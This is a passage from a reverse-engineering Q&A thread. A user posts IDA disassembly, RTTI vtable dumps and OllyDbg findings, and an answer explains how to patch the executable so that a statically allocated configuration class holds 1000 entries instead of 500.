ds:??$?6U?$char_traits@D@std@@@std@@YAAAV?$basic_ostream@DU?$char_traits@D@std@@@0@AAV10@PBD@Z ; std::operator&lt;&lt;&lt;std::char_traits&lt;char&gt;&gt;(std::basic_ostream&lt;char,std::char_traits&lt;char&gt;&gt; &amp;,char const *)\n.text:008F2A37                 add     esp, 8\n.text:008F2A3A\n.text:008F2A3A loc_8F2A3A:\n.text:008F2A3A                 lea     ecx, [esp+30h+var_18]\n.text:008F2A3E                 mov     [esp+30h+var_4], 0FFFFFFFFh\n.text:008F2A46                 call    sub_403DF0\n.text:008F2A4B                 mov     ecx, [esp+30h+var_C]\n.text:008F2A4F                 pop     edi\n.text:008F2A50                 pop     esi\n.text:008F2A51                 pop     ebp\n.text:008F2A52                 xor     al, al\n.text:008F2A54                 pop     ebx\n.text:008F2A55                 mov     large fs:0, ecx\n.text:008F2A5C                 add     esp, 20h\n.text:008F2A5F                 retn    8\n.text:008F2A5F ReadCfgFile     endp\n</code></pre>\n\n<p><strong>[EDIT 1 - All what I should have known since the beginning!]</strong></p>\n\n<p>After following the suggestions of the answer of @sealed..., I used a class inspector to detect the Virtual Function Table and I found the full class descriptor. Well... in fact there are two classes referring to my target method <code>ReadCfgFile</code> and no direct calls to it in the whole executable:</p>\n\n<pre><code>.rdata:0137A1D4 ; class DATABASE_TABLE&lt;CFG_ENTRY,500,unsigned int&gt; [SI] O: 0, A: 0\n.rdata:0137A1D4 dd offset ??_R4?$DATABASE_TABLE@UCFG_ENTRY@@$0BPE@I@@6B@ ; RTTI Complete Object Locator\n.rdata:0137A1D8 ; const DATABASE_TABLE&lt;struct CFG_ENTRY,500,unsigned int&gt; VF Table\n.rdata:0137A1D8 ??_7?$DATABASE_TABLE@UCFG_ENTRY@@$0BPE@I@@6B@ dd offset sub_8EF0F0 ; DATA XREF: sub_8EEFC0+1Do\n.rdata:0137A1DC dd offset nullsub_648\n.rdata:0137A1E0 dd offset sub_8EAB30\n.rdata:0137A1E4 dd offset sub_8EF060\n.rdata:0137A1E8 dd offset sub_8EE500\n.rdata:0137A1EC dd offset ReadCfgFile\n\n.rdata:0137A1F0 ; class CFG_DB: DATABASE_TABLE&lt;CFG_ENTRY,500,unsigned int&gt; [SI] O: 0, A: 0\n.rdata:0137A1F0 dd offset ??_R4CFG_DB@@6B@ ; RTTI Complete Object Locator\n.rdata:0137A1F4 ; const CFG_DB VFTable\n.rdata:0137A1F4 ??_7UNIT_DB@@6B@ dd offset sub_8EF2B0 ; DATA XREF: sub_8EF290+8o\n.rdata:0137A1F8 dd offset nullsub_648\n.rdata:0137A1FC dd offset sub_8EAB30\n.rdata:0137A200 dd offset sub_8EF060\n.rdata:0137A204 dd offset sub_8EE8B0\n.rdata:0137A208 dd offset ReadCfgFile\n.rdata:0137A20C dd offset sub_8EE5D0\n</code></pre>\n\n<p><strong>[EDIT 2 - The adventure continues! Yay!]</strong></p>\n\n<p>After reading the answer of @Guntram Blohm, I investigated some more in order to collect and analyze the data he suggested. The first thing I did is to analyze the executable with PEiD and here is the information I got from it:</p>\n\n<pre><code>Compiler: Microsoft Visual C++ 7.0 Method2 [Debug]\nEntropy: 6.24 (Not Packed)\nLinker Info: 7.10\n</code></pre>\n\n<p>When I set a breakpoint on my <code>ReadCfgFile</code> method, here is what I get from OllyDBG stack:</p>\n\n<pre><code>CPU Stack\nAddress   Value      ASCII Comments\n0018B2C0  [008EE644  D\ufffd.  ; RETURN to myapp.008EE644\n</code></pre>\n\n<p>And <code>008EE644</code> is a small part of the following method that, for what I can understand, looks for the configuration file and starts the routine for reading it, but without an explicit call to <code>ReadCfgFile</code> (offset highlighted):</p>\n\n<pre><code>.text:008EE5D0 sub_8EE5D0      proc near ; CODE XREF: sub_411B20+2CBp\n.text:008EE5D0 var_41          = byte ptr -41h\n.text:008EE5D0 var_40          = dword ptr -40h\n.text:008EE5D0 var_3C          = dword ptr -3Ch\n.text:008EE5D0 var_38          = byte ptr -38h\n.text:008EE5D0 var_34          = dword ptr -34h\n.text:008EE5D0 var_30          = dword ptr -30h\n.text:008EE5D0 var_2C          = byte ptr -2Ch\n.text:008EE5D0 var_C           = dword ptr -0Ch\n.text:008EE5D0 var_4           = dword ptr -4\n.text:008EE5D0\n.text:008EE5D0                 push    0FFFFFFFFh\n.text:008EE5D2                 push    offset SEH_8EE5D0\n.text:008EE5D7                 mov     eax, large fs:0\n.text:008EE5DD                 push    eax\n.text:008EE5DE                 mov     large fs:0, esp\n.text:008EE5E5                 sub     esp, 38h\n.text:008EE5E8                 push    ebx\n.text:008EE5E9                 push    ebp\n.text:008EE5EA                 mov     ebx, ecx\n.text:008EE5EC                 push    offset aCfgFile ; \"application.cfg\"\n.text:008EE5F1                 mov     [esp+50h+var_30], ebx\n.text:008EE5F5                 call    sub_41BD00\n.text:008EE5FA                 add     esp, 4\n.text:008EE5FD                 push    eax\n.text:008EE5FE                 lea     ecx, [esp+50h+var_38]\n.text:008EE602                 call    sub_F018E0\n.text:008EE607                 xor     ebp, ebp\n.text:008EE609                 push    ebp\n.text:008EE60A                 lea     eax, [esp+50h+var_38]\n.text:008EE60E                 push    eax\n.text:008EE60F                 lea     ecx, [esp+54h+var_2C]\n.text:008EE613                 mov     [esp+54h+var_4], ebp\n.text:008EE617                 call    sub_D50170\n.text:008EE61C                 lea     ecx, [esp+4Ch+var_38] ; void *\n.text:008EE620                 mov     byte ptr [esp+4Ch+var_4], 2\n.text:008EE625                 call    sub_EFFE30\n.text:008EE62A                 mov     edx, [ebx]\n.text:008EE62C                 mov     ecx, ebx\n.text:008EE62E                 mov     [ebx+7A938h], ebp\n.text:008EE634                 call    dword ptr [edx+4]\n.text:008EE637                 mov     eax, [ebx]\n.text:008EE639                 push    ebp\n.text:008EE63A                 lea     ecx, [esp+50h+var_2C]\n.text:008EE63E                 push    ecx\n.text:008EE63F                 mov     ecx, ebx\n.text:008EE641                 call    dword ptr [eax+14h]\n.text:008EE644 ; ---------------------------------------------------------------------------         \n.text:008EE644                 test    al, al ; HERE IS THE STACK REFERENCE\n.text:008EE644 ; ---------------------------------------------------------------------------   \n.text:008EE646                 jnz     short loc_8EE66C\n.text:008EE648                 lea     ecx, [esp+4Ch+var_2C]\n.text:008EE64C                 mov     [esp+4Ch+var_4], 0FFFFFFFFh\n.text:008EE654                 call    sub_D4BB30\n.text:008EE659                 pop     ebp\n.text:008EE65A                 xor     al, al\n.text:008EE65C                 pop     ebx\n.text:008EE65D                 mov     ecx, [esp+44h+var_C]\n.text:008EE661                 mov     large fs:0, ecx\n.text:008EE668                 add     esp, 44h\n.text:008EE66B                 retn\n.text:008EE66C\n.text:008EE66C loc_8EE66C:\n.text:008EE66C                 xor     edx, edx\n.text:008EE66E                 or      eax, 0FFFFFFFFh\n.text:008EE671                 mov     dword_1986644, edx\n.text:008EE677                 mov     dword_1986650, eax\n.text:008EE67C                 push    esi\n.text:008EE67D                 mov     dword_1986648, edx\n.text:008EE683                 mov     dword_1986654, eax\n.text:008EE688                 push    edi\n.text:008EE689                 mov     dword_198664C, edx\n.text:008EE68F                 mov     dword_1986658, eax\n.text:008EE694                 xor     edi, edi\n.text:008EE696                 cmp     [ebx+79954h], ebp\n.text:008EE69C                 jle     loc_8EE727\n.text:008EE6A2                 lea     esi, [ebx+40h]\n.text:008EE6A5                 jmp     short loc_8EE6B0\n.text:008EE6A7                 align 10h\n.text:008EE6B0\n.text:008EE6B0 loc_8EE6B0:\n.text:008EE6B0                 mov     eax, [esi]\n.text:008EE6B2                 mov     cx, [esi+92h]\n.text:008EE6B9                 lea     eax, ds:1986644h[eax*2]\n.text:008EE6C0                 mov     ax, [eax]\n.text:008EE6C3                 cmp     ax, cx\n.text:008EE6C6                 jnb     short loc_8EE6CA\n.text:008EE6C8                 mov     eax, ecx\n.text:008EE6CA\n.text:008EE6CA loc_8EE6CA:\n.text:008EE6CA                 mov     ecx, [esi]\n.text:008EE6CC                 mov     word ptr dword_1986644[ecx*2], ax\n.text:008EE6D4                 mov     eax, [esi]\n.text:008EE6D6                 mov     cx, [esi+92h]\n.text:008EE6DD                 lea     eax, ds:1986650h[eax*2]\n.text:008EE6E4                 mov     ax, [eax]\n.text:008EE6E7                 cmp     ax, cx\n.text:008EE6EA                 jb      short loc_8EE6EE\n.text:008EE6EC                 mov     eax, ecx\n.text:008EE6EE\n.text:008EE6EE loc_8EE6EE:\n.text:008EE6EE                 mov     edx, [esi]\n.text:008EE6F0                 lea     ecx, [esi-3Ch]\n.text:008EE6F3                 mov     word ptr dword_1986650[edx*2], ax\n.text:008EE6FB                 call    sub_8ED600\n.text:008EE700                 push    eax\n.text:008EE701                 mov     eax, [ebx+7A938h]\n.text:008EE707                 push    eax\n.text:008EE708                 call    sub_F1E550\n.text:008EE70D                 add     edi, 1\n.text:008EE710                 add     esp, 8\n.text:008EE713                 mov     [ebx+7A938h], eax\n.text:008EE719                 add     esi, 3E4h\n.text:008EE71F                 cmp     edi, [ebx+79954h]\n.text:008EE725                 jl      short loc_8EE6B0\n.text:008EE727\n.text:008EE727 loc_8EE727:\n.text:008EE727                 xor     esi, esi\n.text:008EE729                 cmp     dword_1667290, ebp\n.text:008EE72F                 mov     [esp+54h+var_3C], esi\n.text:008EE733                 jbe     loc_8EE840\n.text:008EE739                 lea     esp, [esp+0]\n.text:008EE740\n.text:008EE740 loc_8EE740:\n.text:008EE740                 cmp     [ebx+79954h], ebp\n.text:008EE746                 mov     [esp+54h+var_41], 0\n.text:008EE74B                 mov     [esp+54h+var_40], ebp\n.text:008EE74F                 mov     [esp+54h+var_34], ebp\n.text:008EE753                 jle     loc_8EE7D9\n.text:008EE759                 mov     ebp, 1\n.text:008EE75E                 mov     ecx, esi\n.text:008EE760                 shl     ebp, cl\n.text:008EE762                 lea     edi, [ebx+3B0h]\n.text:008EE768\n.text:008EE768 loc_8EE768:\n.text:008EE768                 cmp     [esp+54h+var_41], 0\n.text:008EE76D                 jnz     short loc_8EE77F\n.text:008EE76F                 test    [edi-2Ch], ebp\n.text:008EE772                 jz      short loc_8EE77F\n.text:008EE774                 test    byte ptr [edi+3], 20h\n.text:008EE778                 jz      short loc_8EE77F\n.text:008EE77A                 mov     [esp+54h+var_41], 1\n.text:008EE77F\n.text:008EE77F loc_8EE77F: \n.text:008EE77F                 xor     esi, esi\n.text:008EE781                 xor     eax, eax\n.text:008EE783\n.text:008EE783 loc_8EE783:\n.text:008EE783                 mov     ecx, [edi-24h]\n.text:008EE786                 test    [eax+ecx], ebp\n.text:008EE789                 jz      short loc_8EE7AF\n.text:008EE78B                 cmp     eax, 10h\n.text:008EE78E                 jnb     loc_8EE89B\n.text:008EE794                 mov     ecx, esi\n.text:008EE796                 shr     ecx, 5\n.text:008EE799                 lea     edx, [esp+ecx*4+54h+var_40]\n.text:008EE79D                 mov     ecx, esi\n.text:008EE79F                 and     ecx, 1Fh\n.text:008EE7A2                 mov     ebx, 1\n.text:008EE7A7                 shl     ebx, cl\n.text:008EE7A9                 or      [edx], ebx\n.text:008EE7AB                 mov     ebx, [esp+54h+var_30]\n.text:008EE7AF\n.text:008EE7AF loc_8EE7AF:\n.text:008EE7AF                 add     eax, 4\n.text:008EE7B2                 add     esi, 1\n.text:008EE7B5                 cmp     eax, 10h\n.text:008EE7B8                 jb      short loc_8EE783\n.text:008EE7BA                 mov     eax, [esp+54h+var_34]\n.text:008EE7BE                 add     eax, 1\n.text:008EE7C1                 add     edi, 3E4h\n.text:008EE7C7                 cmp     eax, [ebx+79954h]\n.text:008EE7CD                 mov     [esp+54h+var_34], eax\n.text:008EE7D1                 jl      short loc_8EE768\n.text:008EE7D3                 mov     esi, [esp+54h+var_3C]\n.text:008EE7D7                 xor     ebp, ebp\n.text:008EE7D9\n.text:008EE7D9 loc_8EE7D9:\n.text:008EE7D9                 push    esi\n.text:008EE7DA                 call    sub_8D1490\n.text:008EE7DF                 mov     edi, eax\n.text:008EE7E1                 add     esp, 4\n.text:008EE7E4                 cmp     byte ptr [edi+0BCh], 0\n.text:008EE7EB                 jz      short loc_8EE82D\n.text:008EE7ED                 xor     esi, esi\n.text:008EE7EF                 cmp     esi, 4\n.text:008EE7F2                 jnb     loc_8EE8A4\n.text:008EE7F8\n.text:008EE7F8 loc_8EE7F8:\n.text:008EE7F8                 mov     ecx, esi\n.text:008EE7FA                 and     ecx, 1Fh\n.text:008EE7FD                 mov     edx, 1\n.text:008EE802                 shl     edx, cl\n.text:008EE804                 mov     ecx, esi\n.text:008EE806                 shr     ecx, 5\n.text:008EE809                 add     ecx, ecx\n.text:008EE80B                 add     ecx, ecx\n.text:008EE80D                 test    [esp+ecx+54h+var_40], edx\n.text:008EE811                 setnz   al\n.text:008EE814                 test    al, al\n.text:008EE816                 jnz     short loc_8EE821\n.text:008EE818                 not     edx\n.text:008EE81A                 and     [ecx+edi+0C0h], edx\n.text:008EE821\n.text:008EE821 loc_8EE821:\n.text:008EE821                 add     esi, 1\n.text:008EE824                 cmp     esi, 4\n.text:008EE827                 jb      short loc_8EE7F8\n.text:008EE829                 mov     esi, [esp+54h+var_3C]\n.text:008EE82D\n.text:008EE82D loc_8EE82D:\n.text:008EE82D                 add     esi, 1\n.text:008EE830                 cmp     esi, dword_1667290\n.text:008EE836                 mov     [esp+54h+var_3C], esi\n.text:008EE83A                 jb      loc_8EE740\n.text:008EE840\n.text:008EE840 loc_8EE840:\n.text:008EE840                 xor     esi, esi\n.text:008EE842                 cmp     [ebx+79954h], ebp\n.text:008EE848                 jle     short loc_8EE875\n.text:008EE84A                 lea     edi, [ebx+108h]\n.text:008EE850\n.text:008EE850 loc_8EE850:\n.text:008EE850                 mov     eax, [edi]\n.text:008EE852                 mov     ecx, dword_16E9DC8\n.text:008EE858                 push    eax ; Str2\n.text:008EE859                 add     ecx, 84h\n.text:008EE85F                 call    sub_10E86C0\n.text:008EE864                 add     esi, 1\n.text:008EE867                 add     edi, 3E4h\n.text:008EE86D                 cmp     esi, [ebx+79954h]\n.text:008EE873                 jl      short loc_8EE850\n.text:008EE875\n.text:008EE875 loc_8EE875:\n.text:008EE875                 lea     ecx, [esp+54h+var_2C]\n.text:008EE879                 mov     [esp+54h+var_4], 0FFFFFFFFh\n.text:008EE881                 call    sub_D4BB30\n.text:008EE886                 mov     ecx, [esp+54h+var_C]\n.text:008EE88A                 pop     edi\n.text:008EE88B                 pop     esi\n.text:008EE88C                 pop     ebp\n.text:008EE88D                 mov     al, 1\n.text:008EE88F                 pop     ebx\n.text:008EE890                 mov     large fs:0, ecx\n.text:008EE897                 add     esp, 44h\n.text:008EE89A                 retn\n.text:008EE89B\n.text:008EE89B loc_8EE89B:\n.text:008EE89B                 lea     ecx, [esp+54h+var_40]\n.text:008EE89F                 jmp     sub_8D0FE0\n.text:008EE8A4\n.text:008EE8A4 loc_8EE8A4:\n.text:008EE8A4                 lea     ecx, [esp+54h+var_40]\n.text:008EE8A8                 jmp     sub_8D0FE0\n.text:008EE8A8 sub_8EE5D0      endp\n</code></pre>\n\n<p>The, I digged a little bit more finding out the <code>CFG_DB</code> contructor, which looks like this (pseudo-code from IDA Pro):</p>\n\n<pre><code>void __thiscall sub_8EEFC0(void *this)\n{\n  void *v1 = this; // esi@1\n\n  *(_DWORD *)this = &amp;DATABASE_TABLE&lt;CFG_ENTRY_500_unsigned_int&gt;::_vftable_;\n\n  sub_8EE500((int)this);\n  sub_8EC030((char *)v1 + 502036);\n\n  if ( *((_DWORD *)v1 + 124503) )\n    operator delete__(*((void **)v1 + 124503));\n\n  *((_DWORD *)v1 + 124503) = 0;\n\n  unknown_libname_2673((char *)v1 + 4, 0x3E4u, 500, sub_8EEA00);\n}\n</code></pre>\n\n<p>So it looks like the \"array\" of <code>CFG_ENTRY</code> is being instantiated calling a method belonging to another library linked to the executable.\nFinally, I put a breakpoint at the beginning of my <code>ReadCfgFile</code> method in order to see if pointers passed to it can be of any help:</p>\n\n<pre><code>.text:008F287A                 push esi ==&gt; esi = 00400000\n[...]                          [...]\n.text:008F2886                 mov esi, ecx ==&gt; ecx = myapp.0190BD08\n</code></pre>\n\n<p>And following the address <code>0190BD08</code> I just stumbled upon this:</p>\n\n<pre><code>.data:0190BD08 unk_190BD08     db    ? ; ; DATA XREF: sub_40FFF0:loc_410049o\n.data:0190BD08                           ; sub_40FFF0:loc_410053o ...\n\n.text:00410049 loc_410049: ; DATA XREF: .rdata:01484034o\n.text:00410049 ; .rdata:0148489Co ...\n.text:00410049                 mov     ecx, offset unk_190BD08\n\n.text:00410053\n.text:00410053 loc_410053: ; DATA XREF: .rdata:01484078o\n.text:00410053 ; .rdata:01484C3Co ...\n.text:00410053                 mov     ecx, offset unk_190BD08\n</code></pre>\n\n<p>It looks like a dead end to me...</p>\n",
        "Title": "How to deal with Static Memory Allocation while modifying an executable?",
        "Tags": "|assembly|decompilation|debugging|memory|struct|",
        "Answer": "<p>It seems to me that the problem is a bit worse than you describe, and there's no easy way to get around it.</p>\n\n<p>First, @sealed seems to be right with the function being a class method, and your compiler passing the class pointer in <code>ecx</code>, because that's the only way for</p>\n\n<pre><code>.text:008F28B5                 lea     ecx, [esi+eax*4+4]\n.text:008F28B9                 call    ReadCfgEntry\n</code></pre>\n\n<p>to make sense - other parameters are pushed on the stack, and the values of eax, edx and ebx seem not to be very meaningful, so the compiler doesn't use some kind of parameters-in-registers fastcall abi.</p>\n\n<p>Now, let me reorder the statements from the loop start to the call a bit (without changing the meaning, just to make a bit clearer what happens). The compiler spread the \"increment the count by one\" instructions between the others, probably to take advantage of pipelining within the processor:</p>\n\n<pre><code>-- get the current \"number of config entries\" count, and abort the loop if it exceeds 500\n\n.text:008F2890                 mov     eax, [esi+79954h]\n.text:008F2896                 cmp     eax, 1F4h\n.text:008F289B                 jge     loc_8F29DF\n\n-- increment the count by one\n\n.text:008F28A6                 lea     ecx, [eax+1]\n.text:008F28AE                 mov     [esi+79954h], ecx\n\n-- eax = (( count &lt;&lt; 5 - count ) * 8 ) + count = count*249\n.text:008F28A1                 mov     edx, eax\n.text:008F28A3                 shl     edx, 5\n.text:008F28A9                 sub     edx, eax\n.text:008F28AB                 lea     eax, [eax+edx*8]\n\n-- push edi, which is a parameter to this function, on the stack;\n-- pass this = esi+4*eax+4  == esi+996*count+4 in ecx. Remember esi was set to\n-- `this`=`ecx` at the start of the current method and hasn't been changed.\n\n.text:008F28B4                 push    edi\n.text:008F28B5                 lea     ecx, [esi+eax*4+4]\n.text:008F28B9                 call    ReadCfgEntry\n</code></pre>\n\n<p>This seems like ReadCfgEntry is a class method as well, which gets its <code>this</code> pointer in cx. From the way the array index is calculated, i'd assume the original C++ class looked like this:</p>\n\n<pre><code>class Configuration {\n    int whatever;\n    ConfigurationEntry entries[500];\n    ....\n}\n</code></pre>\n\n<p>with ConfigurationEntry being a 996 byte class.\nNow, the bad news is: These two class members need 4+(500*996) bytes. This is equal to 498004, or 0x79954. So your entry count is directly behind the entries at 0x79954, with another variable at 0x79958:</p>\n\n<pre><code>class Configuration {\n    int whatever;\n    ConfigurationEntry entries[500];\n    int entryCount;\n    int somethingelse;\n    ... ??? ...\n}\n</code></pre>\n\n<p>Now, if the entries had been a pointer and allocated with <code>new</code>, it would have been easier to just modify the size parameter in that new from 500 to 1000. But in your case, you'd have to modify the new method of the Configuration class, and you'd have to modify ALL references to variables \"behind\" the configuration entries as well. You already mentioned that for the count variable at offset 0x79954, and the next variable at offset 0x79958, but there might be more of them that don't get referenced in your reader function, so you'll have a hard time finding them all.</p>\n\n<hr>\n\n<p>I was just about to post this, when i saw your edit to the question.</p>\n\n<p>As you realized in your edit, you need to change all accesses to structure components behind the array of entries that you want to increase. You need to do this in your class methods (which you can find easily as you have the vtables), but also in the rest of your program (as you don't know which of the original class variables where public and might be accessed from outside the class itself). <em>Unfortunately, you can't really automate that, because, for every occurence of, say 0x79954, you'd have to check if it's an index into your class, or something else.</em></p>\n\n<p>Since i don't know which compiler was used to write your program, i can't tell much about how it stores the function vtable. With a bit of luck, the first entry (the one i called <code>whatever</code> earlier) is the vtable pointer. You can check this if you run the program with a debugger, and check if the <code>whatever</code> variable points to the vtable when it reaches the ReadConfigFile method. If it does, this is good, because we don't have to care about overwriting the vtable when extending the structure.</p>\n\n<p>Then, there must be some allocator function for your classes. Since you seem to have a class called DATABASE_TABLE, and a derived one called CFG_DB, the second one is probably larger. Try finding the initializing method of this second, larger class. It should call <code>new</code> or a similar memory-allocator, with a size that fits the structure size (so it's probably somewhere between 79960h and 79a00h), and it should move the vtable pointer into the newly allocated memory, so you might be able to find it checking for cross-references of the vtable. Or, use a debugger and set a breakpoint on ReadConfigFile and check the stack for what called it, chances should be good you find a function that allocates the class instance first, then calls its ReadConfigFile member function.</p>\n\n<p>After you find where the class is instantiated, i'd probably try not to increase the array size from 500 to 1000, but, instead, just allocate a larger array behind the structure. For example, if your current function allocates 79a00h bytes, add the 996000d bytes to it that 1000 entries need, resulting in 16cca0h bytes. Then, change the</p>\n\n<pre><code>lea ecx, [esi+eax*4+4]\n</code></pre>\n\n<p>in front of ReadCfgEntry to</p>\n\n<pre><code>lea ecx, [esi+eax*4+16cca0h]\n</code></pre>\n\n<p>That way, you've created another array <em>behind</em> the current structure instead of extending the current one. <em>Which means none of your structure offsets, except the config items themselves, have changed</em>.</p>\n\n<p>Speaking in C++, we just changed the class to</p>\n\n<pre><code>class Configuration {\n    int whatever;\n    ConfigurationEntry entries[500];\n    int entryCount;\n    int somethingelse;\n    ... ??? ...\n    ConfigurationEntry newEntries[1000];\n}\n</code></pre>\n\n<p>and in the next step we have to re-write all accessed to <code>entries</code> to use <code>newentries</code>.</p>\n\n<p>Check your member functions for accesses to the original array, and replace them as well. The most simple way to do this is probably</p>\n\n<ul>\n<li>start the program with a debugger</li>\n<li>set a breakpoint on the function you identified previously that allocates the structure</li>\n<li>after the structure is allocated, set a hardware breakpoint on (structure address + 4)</li>\n<li>continue the program, and whenever you hit the hardware breakpoints, you found a match</li>\n</ul>\n\n<p>Since the hardware breakpoint is on entries[0], chances are good that every access to an entry hits the 0-th of it at some point.</p>\n\n<p>Also, since ReadCfgEntry is probably a class method, chances are good that there is a loop somewhere that just allocates one class instance for each entry - something like</p>\n\n<pre><code>for (i=0; i&lt;500; i++) {\n    entries[i]=new ConfigurationEntry()\n}\n</code></pre>\n\n<p>Your hardware breakpoint should catch this loop quite quickly. Patch the executable to change the 500 to 1000, and the entries[i] calculation to your new array. After that, your new array will get initialized, but the old one will hold nothing but NULL pointers. Which means, you might get invalid memory acceses through those NULL pointers in the future, which help identifying accessed to your original array (that you can patch) as well.</p>\n\n<hr>\n\n<h2>Edit - Edit after reading OP's 2nd answer</h2>\n\n<p>Dead end? Not at all, you gathered and posted very valuable information.</p>\n\n<p>First, your pseudo code of the CFG_DB constructor</p>\n\n<pre><code>void __thiscall sub_8EEFC0(void *this)\n{\n  void *v1 = this; // esi@1\n  *(_DWORD *)this = &amp;DATABASE_TABLE&lt;CFG_ENTRY_500_unsigned_int&gt;::_vftable_;\n</code></pre>\n\n<p>confirms that the 4 bytes at the beginning of the class structure are actually a pointer to the virtual function table of the class.</p>\n\n<p>Second, your snippet</p>\n\n<pre><code>.text:008EE639                 push    ebp\n.text:008EE63A                 lea     ecx, [esp+50h+var_2C]\n.text:008EE63E                 push    ecx\n.text:008EE63F                 mov     ecx, ebx\n.text:008EE637                 mov     eax, [ebx]\n.text:008EE641                 call    dword ptr [eax+14h]\n.text:008EE644 ;     ---------------------------------------------------------------------------         \n.text:008EE644                 test    al, al ; HERE IS THE STACK REFERENCE\n</code></pre>\n\n<p>fits very well. (Again, i reordered the assembly instructions in a way that doesn't change what they do, but makes it clearer to understand them). Remember your vtable that had a function offset, a nullsub, 3 more function offsets, and <code>ReadCfgFile</code> as its entries? Since each of these has 4 bytes, the offset of the ReadCfgFile function pointer in the vtable is 20, or 14h. In that code snippet, ebx is a class pointer; <code>mov eax, [ebx]</code> gets the vtable pointer from the class pointer, and <code>call dword ptr [eax+14h]</code> calls the function at that offset, namely <code>ReadCfgFile</code>. Before that, it initializes the <code>this</code> register (ecx) to ebx, and pushes 2 parameters on the stack. This seems to be a very standard call to a class method.</p>\n\n<p>Next, your constructor ends in</p>\n\n<pre><code>unknown_libname_2673((char *)v1 + 4, 0x3E4u, 500, sub_8EEA00);\n</code></pre>\n\n<p>with the first parameter (v1+4) being the address of the ConfigurationEntries array within the Configuration class (i'm keeping my old invented variable/class names), the second parameter (0x3e4 == 996) the size of each array entry; the third (500) the number of entries, and a callback function. I'm almost sure this is the constructor function for the individual ConfigurationEntries. Which means this is the function i said you need to find, and which should be changed to</p>\n\n<pre><code>unknown_libname_2673((char *)v1 + XXXXX, 0x3E4u, 1000, sub_8EEA00);\n</code></pre>\n\n<p>with XXXXX being the offset of the newEntries array once we allocate space for it.</p>\n\n<p>Next, reconsidering a part of the code snippet before the indirect call to ReadConfigFile,</p>\n\n<pre><code>.text:008EE62A                 mov     edx, [ebx]\n.text:008EE62C                 mov     ecx, ebx\n.text:008EE62E                 mov     [ebx+7A938h], ebp\n.text:008EE634                 call    dword ptr [edx+4]\n</code></pre>\n\n<p>we see that there is a move to <code>ebx+7A938h</code>, with ebx being the class pointer, so there seems to be another class member at this offset. This is quite a lot of memory <em>after</em> the offset of the element count (79954h) - so the structure has a lot more components. Good thing you're not trying to shift them all. The constructor function, which accesses <code>this+502036</code>, or <code>this+0x7a914</code>, would have been another hint at that. (It also accesses <code>this+124503</code>, but with <code>this</code> being a dword pointer, this means 498012 bytes, which is still less than 502036).</p>\n\n<p>Next, you found out the address 0190BD08, which is a very good thing. Along with the XREFs, and the data definition,</p>\n\n<pre><code>.data:0190BD08 unk_190BD08     db    ? \n</code></pre>\n\n<p>this means:</p>\n\n<p>The class structure at that address is NOT allocated dynamically, and it is NOT initialized to anything, instead, it is an uninitialized global variable. In C++, it would have probably been a</p>\n\n<pre><code>static Configuration myConfig;\n</code></pre>\n\n<p>with all the xrefs you're seeing being a reference to myConfig. As the assembly instructions at those places are</p>\n\n<pre><code>mov     ecx, offset unk_190BD08\n</code></pre>\n\n<p>i'm almost sure the calls to a class member function are one or 2 instructions after each of these. Congractulations, you've just found a way to catch many of the instances where the configuration gets accessed. To verify this, unk_190BD08 being a global variable for the configuration, you could run the program with a breakpoint on the constructor function (sub_8EEFC0), i bet it's called only once, and 190BD08 is the parameter to it.</p>\n\n<p>The bad thing about the configuration class instance being a static variable, not a new()-instantiated one, is that we can't just increase the size in the new() call. Instead, we'll have to move it to a part of the address space where it doesn't disturb anything else - at the end of the current uninitialized data segment. Find the very last entry in your data segment, then choose a nice address behind that, and rewrite all the xrefs to unk_190BD08 to that new address. Then, run the program using ollydbg, place a hardware breakpoint on 190BD08 just in case, and check that the functions you know to be class member functions, and the initialized, all get the new address instead of 190BD08 as their <code>ecx</code> (this) parameter. When you've finished, you're ready to implement the 2nd part, change the accesses to <code>this+4</code> to <code>this+XXXX</code> with <code>XXXX</code> being the class size.</p>\n\n<p>The fact that we're missing a new() call for the Configuration variable means we can't use its parameter to get the class size. But we already know the class size is at least 7A938h, so the static variable occupies the address space from 0x190BD08 to at least 0x1986640. With a bit of luck, your .data segment has that unk_190BD08 label, with the next label being at an address a bit after 0x1986640, so the next label is some other variable, and the difference between both labels the size of the Configuration instance.</p>\n\n<p>There's one thing left to do - when you move the configuration variable behind everything else, you'll also have to increase the size of that data segment in the PE file. Unfortunately, i'm not that skilled in the windows PE file format, so i'd have to do a lot of research how to do this correctly myself, so maybe you're lucky and someone else, who has more experience in this than i have, can help you with this.</p>\n\n<hr>\n\n<h2>Edit - Edit to answer to comment</h2>\n\n<ul>\n<li>how can I calculate how big is the CFG_DB class in order to append something at the end of it?</li>\n</ul>\n\n<p>The original C++ program will have had something like</p>\n\n<pre><code>int somevariable;\nint someothervariable;\nCFG_DB globalConfig;\nint athirdvariable;\n</code></pre>\n\n<p>(int as an example, the data type could be anything)\nand the compiler should place all of these varuables into the uninitialized part of the .data segment. Any access to one of the variables will make IDA create a label at that memory address, with an XREF to where it's accessed. So, if your .data dump looks like this</p>\n\n<pre><code>.data:0190BD08 unk_190BD08     db    ?        &lt;-- along with some xrefs \n.data:0190BD09                 db    ?        &lt;-- this repeats a lot of times\n.data:01986670 unk_1986670     db    ?        &lt;-- along with some xrefs \n</code></pre>\n\n<p>and you know that 0190BD08 is your <code>globalConfig</code>, then 01986670 is <code>athirdvariable</code>, and the size of globalConfig is 0x01986670 - 0x0190BD08 = 0x7a968 = 502120 bytes.</p>\n\n<p>This is not 100% foolproof, because if anything accesses globalConfig.somemember, with somemember having a structure offset of, say, 500000 (=0x7a120), then IDA will generate a label and an XREF at 0x190BD08+0x7a120=0x1985E28 ass well. But with a bit of luck, the \"rest\" of the program will just use the globalConfig variable as an argument to a member function, where references are indirect, so they won't be used by IDA to create labels.</p>\n\n<ul>\n<li>what will happen if other classes/methods/etc are interacting with this modified class?</li>\n</ul>\n\n<p>If they access anything but the 500 individual config entries, nothing at all, because these haven't changed their offset. The thing that might be dangerous is when they access the entries, because those accesses should be rewritten to newEntries. You have to find out where they are (if you're lucky, that's just in the member functions) and patch the code at that point. The hardware breakpoint on the (old) entries[0] address (which is 0x190BD0C in your case, structure start + 4) should help with this, because anything that's likely to access any entry, is likely to access entry[0] as well. So, if you hit the hardware breakpoint, on, say, <code>mov eax, [ebx+4]</code>, then you know <code>ebx+4</code> is accessing the old address, and should be rewritten to <code>mov eax, [ebx+XXXXX]</code> to use the new array.</p>\n\n<p>Unfortunately, you can't create a hardware breakpoint that covers the whole structure to catch any access. That's where the null pointer exceptions kick in. If, after the change, your program throws a NPE where it normally doesn't, it's probably because 'something' accessed the old array, which contains nothing but NULLs now, instead of the new one. Catching the NPE in the debugger, and checking 